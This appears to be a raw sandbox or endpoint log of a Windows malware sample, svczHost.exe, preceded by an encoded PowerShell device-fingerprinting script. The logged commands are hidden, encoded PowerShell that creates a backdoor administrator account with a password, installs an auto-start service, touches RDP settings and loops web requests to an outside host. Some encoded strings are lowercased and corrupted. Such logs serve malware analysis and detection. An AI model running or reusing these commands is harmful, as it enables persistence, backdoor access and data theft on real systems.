ZgB1AG4AYwB0AGkAbwBuACAARwBlAHQALQBJAGQAZQBuAHQAaQB0AHkAewAKACAAIAAgACAAJABoAGEAcgBkAEQAcgBpAHYAZQBzACAAPQAgAEcAZQB0AC0AVwBtAGkATwBiAGoAZQBjAHQAIAAtAEMAbABhAHMAcwAgAFcAaQBuADMAMgBfAEQAaQBzAGsARAByAGkAdgBlACAAfAAgAFcAaABlAHIAZQAtAE8AYgBqAGUAYwB0ACAAewAgACQAXwAuAE0AZQBkAGkAYQBUAHkAcABlACAALQBlAHEAIAAiAEYAaQB4AGUAZAAgAGgAYQByAGQAIABkAGkAcwBrACAAbQBlAGQAaQBhACIAIAAtAG8AcgAgACQAXwAuAE0AZQBkAGkAYQBUAHkAcABlACAALQBlAHEAIAAiAEYAaQB4AGUAZAAgAGgAYQByAGQAIABkAGkAcwBrACAAbQBlAGQAaQBhACAALQAgAFMAUwBEACIAIAB9AAoAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAA9ACAAQAAoACkACgBmAG8AcgBlAGEAYwBoACAAKAAkAGgAYQByAGQARAByAGkAdgBlACAAaQBuACAAJABoAGEAcgBkAEQAcgBpAHYAZQBzACkAIAB7AAoAIAAgACAAIAAkAHMAZQByAGkAYQBsAE4AdQBtAGIAZQByACAAPQAgACQAaABhAHIAZABEAHIAaQB2AGUALgBTAGUAcgBpAGEAbABOAHUAbQBiAGUAcgAKACAAIAAgACAAJABtAG8AZABlAGwAIAA9ACAAJABoAGEAcgBkAEQAcgBpAHYAZQAuAE0AbwBkAGUAbAAKACAAIAAgACAAJABkAHIAaQB2AGUASQBuAGYAbwAgAD0AIAAiAFMAZQByAGkAYQBsACAATgB1AG0AYgBlAHIAOgAgACQAcwBlAHIAaQBhAGwATgB1AG0AYgBlAHIALAAgAE0AbwBkAGUAbAA6ACAAJABtAG8AZABlAGwAIgAKACAAIAAgACAAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAArAD0AIAAkAGQAcgBpAHYAZQBJAG4AZgBvAAoAfQAKACQAYwBvAG0AYgBpAG4AZQBkAEkAbgBmAG8AIAA9ACAAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAAtAGoAbwBpAG4AIAAiAGAAcgBgAG4AIgAKACQAYwBwAHUASQBuAGYAbwAgAD0AIABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAALQBDAGwAYQBzAHMAIABXAGkAbgAzADIAXwBQAHIAbwBjAGUAcwBzAG8AcgAKACQAYwBwAHUARABlAHQAYQBpAGwAcwAgAD0AIAAiAFAAcgBvAGMAZQBzAHMAbwByAEkAZAA6ACAAJAAoACQAYwBwAHUASQBuAGYAbwAuAFAAcgBvAGMAZQBzAHMAbwByAEkAZAApACwAIABOAGEAbQBlADoAIAAkACgAJABjAHAAdQBJAG4AZgBvAC4ATgBhAG0AZQApACwAIABNAGEAeABDAGwAbwBjAGsAUwBwAGUAZQBkADoAIAAkACgAJABjAHAAdQBJAG4AZgBvAC4ATQBhAHgAQwBsAG8AYwBrAFMAcABlAGUAZAApACwAIABVAG4AaQBxAHUAZQBJAGQAOgAgACQAKAAkAGMAcAB1AEkAbgBmAG8ALgBVAG4AaQBxAHUAZQBJAGQAKQAiAAoAJABhAGwAbABJAG4AZgBvACAAPQAgACIAJABjAG8AbQBiAGkAbgBlAGQASQBuAGYAbwBgAHIAYABuACQAYwBwAHUARABlAHQAYQBpAGwAcwAiAAoAJABtAGQANQAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAE0ARAA1AEMAcgB5AHAAdABvAFMAZQByAHYAaQBjAGUAUAByAG8AdgBpAGQAZQByAAoAJABiAHkAdABlAHMAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AEIAeQB0AGUAcwAoACQAYQBsAGwASQBuAGYAbwApAAoAJABoAGEAcwBoAEIAeQB0AGUAcwAgAD0AIAAkAG0AZAA1AC4AQwBvAG0AcAB1AHQAZQBIAGEAcwBoACgAJABiAHkAdABlAHMAKQAKACQAaABhAHMAaAAgAD0AIABbAEIAaQB0AEMAbwBuAHYAZQByAHQAZQByAF0AOgA6AFQAbwBTAHQAcgBpAG4AZwAoACQAaABhAHMAaABCAHkAdABlAHMAKQAgAC0AcgBlAHAAbABhAGMAZQAgACcALQAnAAoAIAAgACAAIAByAGUAdAB1AHIAbgAgACQAaABhAHMAaAA7AAoAfQAKAGMAZAAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAIgA7AAoAJAB0AGUAcwB0ACAAPQAgAEcAZQB0AC0ASQBkAGUAbgB0AGkAdAB5ADsACgAkAHQAZQBzAHQAIAB8ACAATwB1AHQALQBGAGkAbABlACAALQBGAGkAbABlAFAAYQB0AGgAIAAiAGQAZQB2AGkAYwBlAEkAZAAuAHQAeAB0ACIAIAAtAEUAbgBjAG8AZABpAG4AZwAgAFUAVABGADgA
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -NoLogo -NoProfile -WindowStyle Hidden -ExecutionPolicy bypass -EncodedCommand JABVAHMAZQByAG4AYQBtAGUAIAA9ACAAIgBVAHMAZQByADEAIgA7ACQAcAB3AGQAIAA9ACAAIgAxADIAMwA0ADUANgA3ADgAOQAhAEEAMQBhACIAOwAgACQAVQBzAGUAcgBQAGEAcgBhAG0AcwAgAD0AIABAAHsAJwBOAGEAbQBlACcAIAA9ACAAJABVAHMAZQByAG4AYQBtAGUAOwAgACcAUABhAHMAcwB3AG8AcgBkACcAIAA9ACAAKABDAG8AbgB2AGUAcgB0AFQAbwAtAFMAZQBjAHUAcgBlAFMAdAByAGkAbgBnACAALQBTAHQAcgBpAG4AZwAgACQAcAB3AGQAIAAtAEEAcwBQAGwAYQBpAG4AVABlAHgAdAAgAC0ARgBvAHIAYwBlACkAOwAgACcAUABhAHMAcwB3AG8AcgBkAE4AZQB2AGUAcgBFAHgAcABpAHIAZQBzACcAIAA9ACAAJAB0AHIAdQBlAH0AOwBOAGUAdwAtAEwAbwBjAGEAbABVAHMAZQByACAAQABVAHMAZQByAFAAYQByAGEAbQBzADsAJABHAHIAbwB1AHAAUABhAHIAYQBtAHMAIAA9ACAAQAB7ACcARwByAG8AdQBwACcAIAA9ACAAJwBBAGQAbQBpAG4AaQBzAHQAcgBhAHQAbwByAHMAJwA7ACAAJwBNAGUAbQBiAGUAcgAnACAAPQAgACQAVQBzAGUAcgBuAGEAbQBlAH0AOwBBAGQAZAAtAEwAbwBjAGEAbABHAHIAbwB1AHAATQBlAG0AYgBlAHIAIABAAEcAcgBvAHUAcABQAGEAcgBhAG0AcwA7AA0ACgA=
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /c sc query myRdpService
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /c sc stop "myRdpService"
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /c sc query myRdpService
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /c sc delete "myRdpService" & SC CREATE "myRdpService" binpath= "C:\Windows\Temp\myRdpService.exe cakoi10" start= auto & net start "myRdpService"
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -NoLogo -NoProfile -WindowStyle Hidden -ExecutionPolicy bypass -EncodedCommand ZwBlAHQALQBzAGUAcgB2AGkAYwBlACAAIgBtAHkAUgBkAHAAUwBlAHIAdgBpAGMAZQAiAA==
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc query myRdpService
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc query myRdpService
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop "myRdpService"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc query myRdpService
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc delete "myRdpService"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe SC CREATE "myRdpService" binpath= "C:\Windows\Temp\myRdpService.exe cakoi10" start= auto
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net start "myRdpService"
Source: C:\Windows\System32\net.exe	Process created: C:\Windows\System32\net1.exe C:\Windows\system32\net1 start "myRdpService"
Source: C:\Windows\Temp\myRdpService.exe	Process created: C:\Windows\regedit.exe "regedit.exe" /e "C:\Windows\Temp\regBackup.reg" "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermService"
Source: C:\Windows\Temp\myRdpService.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -Command "systeminfo \| Select-String \"OS Name\",\"OS Version\";"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\systeminfo.exe "C:\Windows\system32\systeminfo.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -w hidden -nologo -nop -ep bypass -EncodedCommand QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBTAGMAcgBlAGUAbgBdADoAOgBBAGwAbABTAGMAcgBlAGUAbgBzACAAfAAgAEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAAgAHsAIAAiACQAKAAkAF8ALgBCAG8AdQBuAGQAcwAuAFcAaQBkAHQAaAApAHgAJAAoACQAXwAuAEIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQAiACAAfQAgAHwAIABPAHUAdAAtAEYAaQBsAGUAIAAtAEYAaQBsAGUAUABhAHQAaAAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAXABkAHAAIgA=

Source: unknown	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /v /k "powershell.exe -windowstyle hidden -encodedcommand "uwb0ageacgb0ac0auabyag8aywblahmacwagahaabwb3aguacgbzaggazqbsagwaiaatafcaaqbuagqabwb3afmadab5agwazqagaggaaqbkagqazqbuacaalqbbahiazwb1ag0azqbuahqatabpahmadaagacialqbxagkabgbkag8adwbtahqaeqbsaguaiabiagkazabkaguabgaiacwaiaaiac0atgbvaewabwbnag8aigasacaaigatae4abwbqahiabwbmagkabablacialaagacialqbfahgazqbjahuadabpag8abgbqag8ababpagmaeqagaeiaeqbwageacwbzacialaagacialqbfag4aywbvagqazqbkaemabwbtag0ayqbuagqaiabtafeaqgbgaeeargbnaeeasqbbaeeabwbbaeyacwbbafyaqqbcaeyaqqbgagcaqqbwaeeaqqb1aeearqbvaeeavabnaeiaagbbaeuaoabbafiaqqbcahaaqqbfadqaqqbsahcaqgbkaeearabvaeeatwbnaeiavgbbaeyauqbbafiazwbbadqaqqbdadqaqqbsahcaqgbsaeeargbraeeavqb3aeiamabbaegasqbbafmauqbcae8aqqbhagmaqqblaeeaqqbvaeearqbraeeavgb3aeiaeqbbaemaqqbbaesaqqbcagiaqqbgae0aqqblafeaqgb6aeeasabraeeawgbraeiadabbaemanabbafyaqqbcagwaqqbiagcaqqbkaeeaqqb1aeearqbvaeeaygbnaeiaagbbaecaoabbafoaqqbcahaaqqbhadqaqqbaahcaqgbkaeearabvaeeatwbnaeiavgbbaeyauqbbafiazwbbadqaqqbdadqaqqbsahcaqgbsaeeasabraeeavqb3aeiamabbaegasqbbageauqbcahuaqqbhagmaqqblaeeaqgbiaeearqbnaeeaygb3aeiadqbbaegawqbbafoauqbcahkaqqbiafeaqqbyafeaqqa2aeearabvaeeaugbnaeiaeqbbaecaoabbagiauqbcaemaqqbhaeuaqqbjahcaqgbsaeearabzaeeatgbbaeiavabbaegauqbbagmazwbcahaaqqbhadqaqqbaahcaqqbvaeeaqwbjaeeawqbraeiasqbbaeyasqbbae0aqqbcagoaqqbfagcaqqbuafeaqqayaeearqb3aeeazqbraeeanqbbaecabwbbafkazwbbahkaqqbfadqaqqbkagcaqgbpaeeargbjaeeavgbnaeeadwbbaecarqbbafiadwbbaduaqqbhahmaqqbxagcaqgbuaeearabvaeeayqb3aeiayqbbaeyatqbbae8auqbcahqaqqbgagsaqqbhahcaqgb2aeearabfaeeavwbnaeiawqbbaecaywbbafaauqbbagkaqqbdagsaqqblafeaqqbwaeeaqwbraeeatabnaeiarabbaeuaoabbagiazwbcadaaqqbhafuaqqbiagcaqgawaeeaqwbraeeaswbraeeapqaiaa=="" && exit
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle hidden -encodedcommand "uwb0ageacgb0ac0auabyag8aywblahmacwagahaabwb3aguacgbzaggazqbsagwaiaatafcaaqbuagqabwb3afmadab5agwazqagaggaaqbkagqazqbuacaalqbbahiazwb1ag0azqbuahqatabpahmadaagacialqbxagkabgbkag8adwbtahqaeqbsaguaiabiagkazabkaguabgaiacwaiaaiac0atgbvaewabwbnag8aigasacaaigatae4abwbqahiabwbmagkabablacialaagacialqbfahgazqbjahuadabpag8abgbqag8ababpagmaeqagaeiaeqbwageacwbzacialaagacialqbfag4aywbvagqazqbkaemabwbtag0ayqbuagqaiabtafeaqgbgaeeargbnaeeasqbbaeeabwbbaeyacwbbafyaqqbcaeyaqqbgagcaqqbwaeeaqqb1aeearqbvaeeavabnaeiaagbbaeuaoabbafiaqqbcahaaqqbfadqaqqbsahcaqgbkaeearabvaeeatwbnaeiavgbbaeyauqbbafiazwbbadqaqqbdadqaqqbsahcaqgbsaeeargbraeeavqb3aeiamabbaegasqbbafmauqbcae8aqqbhagmaqqblaeeaqqbvaeearqbraeeavgb3aeiaeqbbaemaqqbbaesaqqbcagiaqqbgae0aqqblafeaqgb6aeeasabraeeawgbraeiadabbaemanabbafyaqqbcagwaqqbiagcaqqbkaeeaqqb1aeearqbvaeeaygbnaeiaagbbaecaoabbafoaqqbcahaaqqbhadqaqqbaahcaqgbkaeearabvaeeatwbnaeiavgbbaeyauqbbafiazwbbadqaqqbdadqaqqbsahcaqgbsaeeasabraeeavqb3aeiamabbaegasqbbageauqbcahuaqqbhagmaqqblaeeaqgbiaeearqbnaeeaygb3aeiadqbbaegawqbbafoauqbcahkaqqbiafeaqqbyafeaqqa2aeearabvaeeaugbnaeiaeqbbaecaoabbagiauqbcaemaqqbhaeuaqqbjahcaqgbsaeearabzaeeatgbbaeiavabbaegauqbbagmazwbcahaaqqbhadqaqqbaahcaqqbvaeeaqwbjaeeawqbraeiasqbbaeyasqbbae0aqqbcagoaqqbfagcaqqbuafeaqqayaeearqb3aeeazqbraeeanqbbaecabwbbafkazwbbahkaqqbfadqaqqbkagcaqgbpaeeargbjaeeavgbnaeeadwbbaecarqbbafiadwbbaduaqqbhahmaqqbxagcaqgbuaeearabvaeeayqb3aeiayqbbaeyatqbbae8auqbcahqaqqbgagsaqqbhahcaqgb2aeearabfaeeavwbnaeiawqbbaecaywbbafaauqbbagkaqqbdagsaqqblafeaqqbwaeeaqwbraeeatabnaeiarabbaeuaoabbagiazwbcadaaqqbhafuaqqbiagcaqgawaeeaqwbraeeaswbraeeapqaiaa=="
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -windowstyle hidden -nologo -noprofile -executionpolicy bypass -encodedcommand sqbfafgaiaaoafsavabfafgavaauaeuatgbjae8arabpae4arwbdadoaogbvafqarga4ac4arwblafqauwb0ahiasqboagcakaaoaekavwbyacaakabbafmaeqbzahqazqbtac4avablahgadaauaeuabgbjag8azabpag4azwbdadoaogbvafqarga4ac4arwblahqauwb0ahiaaqbuagcakabbaemabwbuahyazqbyahqaxqa6adoargbyag8abqbcageacwbladyanabtahqacgbpag4azwaoaciayqbiafiamabjaegatqa2aewaeqa5agoaygayae4adgbiafcavgawagearwa5agsawgbtaduaawbaafmaoqbtafkaawbvadeawgbyagcapqaiackakqapackalgbdae8abgb0aguabgb0ackakqa=
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c start /min "" powershell.exe -windowstyle hidden -nologo -noprofile -executionpolicy bypass -encodedcommand jab1ahiaaqagad0aiaaiaggadab0ahaacwa6ac8alwbjag8aywbvag0azqb0aggabwbkagualgbkagualwbmagkababladialwa1ageamaa0adcamqbladcaoqa2adcangbmadyaoqa2adaazgayadyaoabhagqazga0admamqa2adqaywbiadgazgbjadganabkagmazqa4adaamaa3ageamga0ageaoabjadkaygbjagyangbhagmazgawaduaywayagyanaazagyamqblaguanqaxadgamqbmagmanwayaguanqbladgayqazageazga1agqazqa4adqayqayaguazgbkagyanaa2aduanqa2agmazqa0agiamqa4agyaoqbhadkamaa1adgazgawadiaygbhaguazqbiagiayqa0adcaoqa1adcazgbmadkayqawadaazgbkadmaywbiagqazga1ageazgbkagianaa1aduanablagyaoqa1agqamqa1adyaygbkaguamqa1admayqa0adeamga4admamwazaguamqaxadgazqbhadqanwbkadeazqa3adyanqbiagqamaa0adiayqbkadqazgbladaaywbladcanaayagiamqaxadqazabmadiamgayaduazabladuamga1adkazaazadkamgazadaaiga7aa0acgakagmabwb1ag4adaagad0aiaaxadaamaa7aa0acganaaoadqakaa0acgbmahuabgbjahqaaqbvag4aiabtaguabgbkacaaewanaaoaiaagacaaiabwageacgbhag0akaagafsauabtae8aygbqaguaywb0af0aiaakagwabwbnae0acwbnacaakqanaaoadqakacaaiaagacaaiwagaemabwbuahyazqbyahqaiabiag8azab5acaadabvacaacwb0ahiaaqbuagcadqakacaaiaagacaajabzahqacgbpag4azwbcag8azab5acaapqagafsacwb0ahiaaqbuagcaxqaoacqababvagcatqbzagcaiab8acaaqwbvag4adgblahiadabuag8alqbkahmabwbuackaowanaaoaiaagacaaiaakagwabwbnae0azqbzahmayqbnaguacwagad0aiabaacgakqa7aa0acgagacaaiaagacqababvagcatqblahmacwbhagcazqbzacaakwa9acaajabzahqacgbpag4azwbcag8azab5adsadqakacaaiaagacaajabsag8azwbnaguacwbzageazwblahmaiaarad0aiaaiac0alqatac0alqatac0alqatac0aiga7aa0acganaaoaiaagacaaiaakaggazqbhagqazqbyahmaiaa9acaaqab7ah0aowanaaoaiaagacaaiaakagsazqb5acaapqagaciaqwbvag4adablag4adaatafqaeqbwaguaiga7aa0acgagacaaiaagacqadgbhagwadqblacaapqagaciayqbwahaababpagmayqb0agkabwbuac8aagbzag8abgaiadsadqakaa0acgagacaaiaagacqaaablageazablahiacwbbacqaawblahkaxqagad0aiaakahyayqbsahuazqa7aa0acgagacaaiaagacqadqbyagkaiaa9acaaigbmae8arwbvafiataaiadsadqakacaaiaagacaadabyahkadqakacaaiaagacaaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaakagiabwbkahkaiaa9acaajabsag8azwbnaguacwbzageazwblahmaiab8acaaqwbvag4adgblahiadabuag8alqbkahmabwbuadsadqakacaaiaagacaaiaagacaaiaagacaaiaagaekabgb2ag8aawblac0avwblagiaugblaheadqblahmadaagac0avqbyagkaiaakahuacgbpacaalqbnaguadaboag8azaagafaabwbzahqaiaataegazqbhagqazqbyahmaiaakaggazqbhagqazqbyahmaiaataeiabwbkahkaiaakagiabwbkahkadqakacaaiaagacaaiaagacaaiab9aa0acgagacaaiaagacaaiaagacaaywbhahqaywboahsadqakacaaiaagacaaiaagacaaiaagacaaiaagaa0acgagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaanaaoafqanaaoadqakahcaaabpagwazqaoacqaywbvahuabgb0acaalqbnahqaiaawackadqakahsadqakaakadqakaakadabyahkaewanaaoaiaagacaaiaagacaaiaagafmazqbuagqaiaaiagiazqbnagkabgagagqabwb3ag4ababvageazaagacqadqbyagkaiga7aa0acgajaakajabjag8abgb0aguabgb0acaapqagaekabgb2ag8aawblac0avwblagiaugblaheadqblahmadaagac0avqbyagkaiaakahuacgbpacaalqbvahmazqbcageacwbpagmauabhahiacwbpag4azwa7aa0acgagacaaiaagacaaiaagacaajabiahkadablaeeacgbyageaeqagad0aiaakagmabwbuahqazqbuahqalgbjag8abgb0aguabgb0adsadqakacaaiaagacaaiaagacaaiabmag8acgagacgajabpac
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle hidden -nologo -noprofile -executionpolicy bypass -encodedcommand jab1ahiaaqagad0aiaaiaggadab0ahaacwa6ac8alwbjag8aywbvag0azqb0aggabwbkagualgbkagualwbmagkababladialwa1ageamaa0adcamqbladcaoqa2adcangbmadyaoqa2adaazgayadyaoabhagqazga0admamqa2adqaywbiadgazgbjadganabkagmazqa4adaamaa3ageamga0ageaoabjadkaygbjagyangbhagmazgawaduaywayagyanaazagyamqblaguanqaxadgamqbmagmanwayaguanqbladgayqazageazga1agqazqa4adqayqayaguazgbkagyanaa2aduanqa2agmazqa0agiamqa4agyaoqbhadkamaa1adgazgawadiaygbhaguazqbiagiayqa0adcaoqa1adcazgbmadkayqawadaazgbkadmaywbiagqazga1ageazgbkagianaa1aduanablagyaoqa1agqamqa1adyaygbkaguamqa1admayqa0adeamga4admamwazaguamqaxadgazqbhadqanwbkadeazqa3adyanqbiagqamaa0adiayqbkadqazgbladaaywbladcanaayagiamqaxadqazabmadiamgayaduazabladuamga1adkazaazadkamgazadaaiga7aa0acgakagmabwb1ag4adaagad0aiaaxadaamaa7aa0acganaaoadqakaa0acgbmahuabgbjahqaaqbvag4aiabtaguabgbkacaaewanaaoaiaagacaaiabwageacgbhag0akaagafsauabtae8aygbqaguaywb0af0aiaakagwabwbnae0acwbnacaakqanaaoadqakacaaiaagacaaiwagaemabwbuahyazqbyahqaiabiag8azab5acaadabvacaacwb0ahiaaqbuagcadqakacaaiaagacaajabzahqacgbpag4azwbcag8azab5acaapqagafsacwb0ahiaaqbuagcaxqaoacqababvagcatqbzagcaiab8acaaqwbvag4adgblahiadabuag8alqbkahmabwbuackaowanaaoaiaagacaaiaakagwabwbnae0azqbzahmayqbnaguacwagad0aiabaacgakqa7aa0acgagacaaiaagacqababvagcatqblahmacwbhagcazqbzacaakwa9acaajabzahqacgbpag4azwbcag8azab5adsadqakacaaiaagacaajabsag8azwbnaguacwbzageazwblahmaiaarad0aiaaiac0alqatac0alqatac0alqatac0aiga7aa0acganaaoaiaagacaaiaakaggazqbhagqazqbyahmaiaa9acaaqab7ah0aowanaaoaiaagacaaiaakagsazqb5acaapqagaciaqwbvag4adablag4adaatafqaeqbwaguaiga7aa0acgagacaaiaagacqadgbhagwadqblacaapqagaciayqbwahaababpagmayqb0agkabwbuac8aagbzag8abgaiadsadqakaa0acgagacaaiaagacqaaablageazablahiacwbbacqaawblahkaxqagad0aiaakahyayqbsahuazqa7aa0acgagacaaiaagacqadqbyagkaiaa9acaaigbmae8arwbvafiataaiadsadqakacaaiaagacaadabyahkadqakacaaiaagacaaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaakagiabwbkahkaiaa9acaajabsag8azwbnaguacwbzageazwblahmaiab8acaaqwbvag4adgblahiadabuag8alqbkahmabwbuadsadqakacaaiaagacaaiaagacaaiaagacaaiaagaekabgb2ag8aawblac0avwblagiaugblaheadqblahmadaagac0avqbyagkaiaakahuacgbpacaalqbnaguadaboag8azaagafaabwbzahqaiaataegazqbhagqazqbyahmaiaakaggazqbhagqazqbyahmaiaataeiabwbkahkaiaakagiabwbkahkadqakacaaiaagacaaiaagacaaiab9aa0acgagacaaiaagacaaiaagacaaywbhahqaywboahsadqakacaaiaagacaaiaagacaaiaagacaaiaagaa0acgagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaanaaoafqanaaoadqakahcaaabpagwazqaoacqaywbvahuabgb0acaalqbnahqaiaawackadqakahsadqakaakadqakaakadabyahkaewanaaoaiaagacaaiaagacaaiaagafmazqbuagqaiaaiagiazqbnagkabgagagqabwb3ag4ababvageazaagacqadqbyagkaiga7aa0acgajaakajabjag8abgb0aguabgb0acaapqagaekabgb2ag8aawblac0avwblagiaugblaheadqblahmadaagac0avqbyagkaiaakahuacgbpacaalqbvahmazqbcageacwbpagmauabhahiacwbpag4azwa7aa0acgagacaaiaagacaaiaagacaajabiahkadablaeeacgbyageaeqagad0aiaakagmabwbuahqazqbuahqalgbjag8abgb0aguabgb0adsadqakacaaiaagacaaiaagacaaiabmag8acgagacgajabpacaapqagadaaowagac
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -nologo -noprofile -windowstyle hidden -executionpolicy bypass -encodedcommand zgb1ag4aywb0agkabwbuacaarwblahqalqbjagqazqbuahqaaqb0ahkaewakacaaiaagacaajaboageacgbkaeqacgbpahyazqbzacaapqagaecazqb0ac0avwbtagkatwbiagoazqbjahqaiaataemababhahmacwagafcaaqbuadmamgbfaeqaaqbzagsarabyagkadgblacaafaagafcaaablahiazqatae8aygbqaguaywb0acaaewagacqaxwauae0azqbkagkayqbuahkacablacaalqblaheaiaaiaeyaaqb4aguazaagaggayqbyagqaiabkagkacwbracaabqblagqaaqbhaciaiaatag8acgagacqaxwauae0azqbkagkayqbuahkacablacaalqblaheaiaaiaeyaaqb4aguazaagaggayqbyagqaiabkagkacwbracaabqblagqaaqbhacaalqagafmauwbeaciaiab9aaoajabkahiaaqb2aguasqbuagyabwbbahiacgbhahkaiaa9acaaqaaoackacgbmag8acgblageaywboacaakaakaggayqbyagqarabyagkadgblacaaaqbuacaajaboageacgbkaeqacgbpahyazqbzackaiab7aaoaiaagacaaiaakahmazqbyagkayqbsae4adqbtagiazqbyacaapqagacqaaabhahiazabeahiaaqb2agualgbtaguacgbpageababoahuabqbiaguacgakacaaiaagacaajabtag8azablagwaiaa9acaajaboageacgbkaeqacgbpahyazqauae0abwbkaguabaakacaaiaagacaajabkahiaaqb2aguasqbuagyabwagad0aiaaiafmazqbyagkayqbsacaatgb1ag0aygblahiaogagacqacwblahiaaqbhagwatgb1ag0aygblahialaagae0abwbkaguabaa6acaajabtag8azablagwaigakacaaiaagacaajabkahiaaqb2aguasqbuagyabwbbahiacgbhahkaiaarad0aiaakagqacgbpahyazqbjag4azgbvaaoafqakacqaywbvag0aygbpag4azqbkaekabgbmag8aiaa9acaajabkahiaaqb2aguasqbuagyabwbbahiacgbhahkaiaatagoabwbpag4aiaaiagaacgbgag4aigakacqaywbwahuasqbuagyabwagad0aiabhaguadaatafcabqbpae8aygbqaguaywb0acaalqbdagwayqbzahmaiabxagkabgazadiaxwbqahiabwbjaguacwbzag8acgakacqaywbwahuarablahqayqbpagwacwagad0aiaaiafaacgbvagmazqbzahmabwbyaekazaa6acaajaaoacqaywbwahuasqbuagyabwauafaacgbvagmazqbzahmabwbyaekazaapacwaiaboageabqbladoaiaakacgajabjahaadqbjag4azgbvac4atgbhag0azqapacwaiabnageaeabdagwabwbjagsauwbwaguazqbkadoaiaakacgajabjahaadqbjag4azgbvac4atqbhahgaqwbsag8aywbrafmacablaguazaapacwaiabvag4aaqbxahuazqbjagqaogagacqakaakagmacab1aekabgbmag8algbvag4aaqbxahuazqbjagqakqaiaaoajabhagwababjag4azgbvacaapqagaciajabjag8abqbiagkabgblagqasqbuagyabwbgahiayabuacqaywbwahuarablahqayqbpagwacwaiaaoajabtagqanqagad0aiaboaguadwatae8aygbqaguaywb0acaauwb5ahmadablag0algbtaguaywb1ahiaaqb0ahkalgbdahiaeqbwahqabwbnahiayqbwaggaeqauae0araa1aemacgb5ahaadabvafmazqbyahyaaqbjaguauabyag8adgbpagqazqbyaaoajabiahkadablahmaiaa9acaawwbtahkacwb0aguabqauafqazqb4ahqalgbfag4aywbvagqaaqbuagcaxqa6adoavqbuaeyaoaauaecazqb0aeiaeqb0aguacwaoacqayqbsagwasqbuagyabwapaaoajaboageacwboaeiaeqb0aguacwagad0aiaakag0azaa1ac4aqwbvag0acab1ahqazqbiageacwboacgajabiahkadablahmakqakacqaaabhahmaaaagad0aiabbaeiaaqb0aemabwbuahyazqbyahqazqbyaf0aoga6afqabwbtahqacgbpag4azwaoacqaaabhahmaaabcahkadablahmakqagac0acgblahaababhagmazqagaccalqanaaoaiaagacaaiabyaguadab1ahiabgagacqaaabhahmaaaa7aaoafqakagmazaagaciaqwa6afwavwbpag4azabvahcacwbcafqazqbtahaaiga7aaoajab0aguacwb0acaapqagaecazqb0ac0asqbkaguabgb0agkadab5adsacgakahqazqbzahqaiab8acaatwb1ahqalqbgagkabablacaalqbgagkabablafaayqb0aggaiaaiagqazqb2agkaywblaekazaauahqaeab0aciaiaataeuabgbjag8azabpag4azwagafuavabgadga
